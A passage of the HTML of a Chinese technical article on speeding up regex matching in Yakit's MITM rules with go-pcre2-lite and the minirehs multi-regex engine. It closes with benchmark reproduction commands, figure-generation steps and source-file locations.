rgb(253, 128, 9);">；</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">单条正则更快（1.8×–9.6×）、布尔匹配零分配、ReDoS 默认有界、语法更全，代价是正则路径强制 CGO；复杂度由O(N_rules × N_bytes)</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 降至 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">~O(N_bytes)</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 后，数百条正则的匹配确实更快，且加速比随规则数增长（合成集 50 条 11.6× → 1000 条 83.6×）。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrecsqnr1uy5" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">综合而言，</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">go-pcre2-lite</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 降低了每次匹配的成本并扩展了可编译范围，</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">minirehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 将匹配次数由乘性关系转为加性关系；二者叠加，</span>构成 Yakit MITM 内置规则由&#34;逐条匹配 N 遍&#34;到&#34;一次扫描完成&#34;的性能量变。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">七、如何使用</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" mpa-font-style="mrecz9xp1rca" style="font-size: 15px;" data-mpa-action-id="mrecz9y416ph" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">可在MITM规则里配置是否使用更新后的正则规则。</span></span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mred014m1clv" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.534375" data-s="300,640" data-type="jpeg" data-w="1280" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046319" src="https://wechat2rss.xlab.app/img-proxy/?k=115fa16e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72EW22olMjGGbnSCvTpsu8fAsqysH1hjibLCpicfy7rwtDibAJiaIT38T0yg2pmBgrjicxIWwh42PhFLSK9mn3qcanFF9CV7Y8G5Q9ZI%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">附录 A：复现信息</span></strong></span></p></div></div></div></div></div><pre style="white-space:pre-wrap;"><code data-lark-language="Bash" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__comment"># 合成规模：吞吐随 N 变化（图 1）</span></span></code><br/><br/><code><span leaf="">CGO_ENABLED=1 go <span class="code-snippet__built_in">test</span> ./common/minirehs/ -run <span class="code-snippet__string">&#39;^$&#39;</span> -bench BenchmarkSyntheticScale -benchmem -benchtime 3x</span></code><br/><br/><code><span leaf=""><span class="code-snippet__comment"># 真实 MITM 规则 + 真实流量（图 2）</span></span></code><br/><br/><code><span leaf="">CGO_ENABLED=1 go <span class="code-snippet__built_in">test</span> ./common/minirehs/ -run <span class="code-snippet__string">&#39;^$&#39;</span> \</span></code><br/><br/><code><span leaf="">  -bench <span class="code-snippet__string">&#39;BenchmarkMVSExistence|BenchmarkMITMRealTraffic&#39;</span> -benchmem -benchtime 3x -<span class="code-snippet__built_in">timeout</span> 1800s</span></code><br/><br/><code><span leaf=""><span class="code-snippet__comment"># 单条正则层 PCRE2 vs dlclark（图 3 左）</span></span></code><br/><br/><code><span leaf="">CGO_ENABLED=1 go <span class="code-snippet__built_in">test</span> -bench . -benchmem -run <span class="code-snippet__string">&#39;^$&#39;</span> github.com/VillanCh/go-pcre2-lite/...</span></code><br/><br/><code><span leaf=""><span class="code-snippet__comment"># 差分正确性（吞吐之外的护栏）</span></span></code><br/><br/><code><span leaf="">go <span class="code-snippet__built_in">test</span> ./common/minirehs/ -run TestConsistency -short</span></code><br/><br/></pre></p></code><br/></pre><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="text-align: center;padding: 0.5em;margin-bottom: 0px;" nodeleaf="" data-mpa-action-id="mrees2rnpbz" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3954134815844336" data-s="300,640" data-type="png" data-w="2878" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046325" src="https://wechat2rss.xlab.app/img-proxy/?k=7352df71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72H0PJQJD2AOicIqXFdbmkDVdTlcicVZjfibMOZ4BukzGen4hmTohPK7vabet6ExU01AArdNRKibHdKDu6icCS8MhH68DKsayjRbJoS8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="outline: 0px;text-align: center;margin-top: 0px;line-height: 1em;"><strong style="outline: 0px;"><em style="outline: 0px;" data-mpa-action-id="mreesowhoof" data-pm-slice="0 0 []"><span style="font-size: 13px;" mpa-font-style="mreesow11kob"><span leaf=""><span textstyle="" style="font-style: normal;">图一</span></span></span></em></strong></p><p style="text-align: center;padding: 0.5em;margin-bottom: 0px;margin-top: 8px;" nodeleaf="" data-mpa-action-id="mreet68ublm" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5583905789990187" data-s="300,640" data-type="png" data-w="2038" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046326" src="https://wechat2rss.xlab.app/img-proxy/?k=94161296&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EEAs8LMictrGHrZRTysXmoWQPMMR2ugYP0gSwU1lXtlT9bOo8SgvHuRiaCpxvjbbq3icADHgd8uo5Eb2OqdrT5YrWseR39Y8BH5Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="outline: 0px;text-align: center;line-height: 1em;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mreeteh61e4n" style="font-size: 13px;" data-mpa-action-id="mreetehp1wqj" data-pm-slice="0 0 []"><span textstyle="" style="font-style: normal;">图二</span></span></em></strong></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mreev1sk1pk5" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3975493533015657" data-s="300,640" data-type="png" data-w="2938" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046327" src="https://wechat2rss.xlab.app/img-proxy/?k=4303ecb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HnDVSAHUia8XysOV6MTZmGS6SvVGxSY0Im57noibaZBzOPfm9pZ5oLWicicaydHttQ8uWIBC1dJ3CMM3kkYVbDMZ2NxDfvdKvibc5s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="outline: 0px;text-align: center;line-height: 1em;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mreeteh61e4n" style="font-size: 13px;" data-mpa-action-id="mreetehp1wqj" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 10px; margin-bottom: -12px; outline: 0px; font-family: system-ui, -apple-system, \&#34;system-ui\&#34;, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 16px; letter-spacing: 0.544px; background-color: rgb(255, 255, 255);&#34;,&#34;data-pm-slice&#34;:&#34;6 9 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px; font-size: 19px; color: rgba(255, 129, 36, 0.43);&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px; text-align: center; line-height: 1em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;em&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-style: normal;">图三</span></span></em></strong></p><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">附录 B：图表复现</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecxhzxuwg"><span leaf="">所有图表由 </span></span><span mpa-font-style="mrecxhzx121u" style="font-size: 15px;"><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">assets/make_figures.py</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 从 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">assets/data/*.csv</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 渲染，复用 precise-content-skills 的共享样式（</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">pc_style.py</span></span></code></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecxhzx10pa"><span leaf="">，warm-paper 米色底、Okabe–Ito 色盲友好配色）：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Bash" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">python3 -m venv venv &amp;&amp; ./venv/bin/pip install matplotlib pandas numpy</span></code><br/><br/><code><span leaf="">./venv/bin/python assets/make_figures.py   <span class="code-snippet__comment"># 输出 fig1..fig3 的 PNG + SVG</span></span></code><br/><br/></pre></p></code><br/></pre><table style="border:none;border-collapse:collapse;min-width:213px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">文件</span></p></td><td data-colwidth="163" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">内容</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">来源</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code data-mpa-action-id="mreieenz252g" data-pm-slice="0 0 []"><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">assets</span><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">/data/</span><span leaf="" mpa-font-style="mreieeng1mkc" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">synthetic_scale</span><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">.csv</span></code></p></td><td data-colwidth="163" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">合成集吞吐/加速比</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">本机第一手 </span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">BenchmarkSyntheticScale</span></code></p></td></tr><tr style="height:39px;"><td><p><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;" mpa-font-style="mreieses213v" data-mpa-action-id="mreiesfw1pi9" data-pm-slice="0 0 []">assets/data/mitm_realtraffic.csv</span></code></p></td><td data-colwidth="163" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">真实 MITM 吞吐/分配</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">本机第一手 </span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">BenchmarkMVSExistence</span></code><span leaf=""> / </span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">BenchmarkMITMRealTraffic</span></code></p></td></tr><tr style="height:39px;"><td><p><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;" mpa-font-style="mreifbf11o3n" data-mpa-action-id="mreifbfh8dk" data-pm-slice="0 0 []">assets/data/pcre2_single_regex.csv</span></code></p></td><td data-colwidth="163" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">PCRE2 vs dlclark</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="" mpa-font-style="mreiffc31ck0" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mreiffco1oa" data-pm-slice="0 0 []">go-pcre2-lite</span></code><span leaf=""> 仓库自带基准（darwin/arm64）</span></p></td></tr></tbody></table><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">附录 C：关键源码位置</span></strong></span></p></div></div></div></div></div><div><div><div><p><table style="border: none;border-collapse: collapse;min-width: 50px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">组件</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">路径</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">多正则引擎 </span><span leaf="">minirehs</span></p></td><td><p data-mpa-action-id="mreigxv91e9w" data-pm-slice="0 0 []"><code><span mpa-font-style="mreigt43vep"><span data-mpa-action-id="mreigb7119ap" data-pm-slice="0 0 []"><span mpa-font-style="mreigxuoead"><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">common/mi</span></span></span><span mpa-font-style="mreigxuo1drc"><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">n</span><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">irehs/</span></span></span></code><span mpa-font-style="mreigt431il6"><span mpa-font-style="mreigxuo170e"><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">（</span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">README.md</span></code></span><span mpa-font-style="mreigxuo17mk"><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;"> 有完整设计与 PROFILE）</span></span></span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">yak </span><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">rehs</span></code><span leaf=""> 库入口</span></p></td><td><p><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">common/minirehs/rehs_api.go</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">MITM 统一预过滤（不漏报）</span></p></td><td><p><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">common/yakgrpc/yakit/httpflow_replacer_prefilter.go</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">MITM 染色/提取主流程</span></p></td><td><p><code><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;">common/yakgrpc/yakit/httpflow_replacer.go</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span 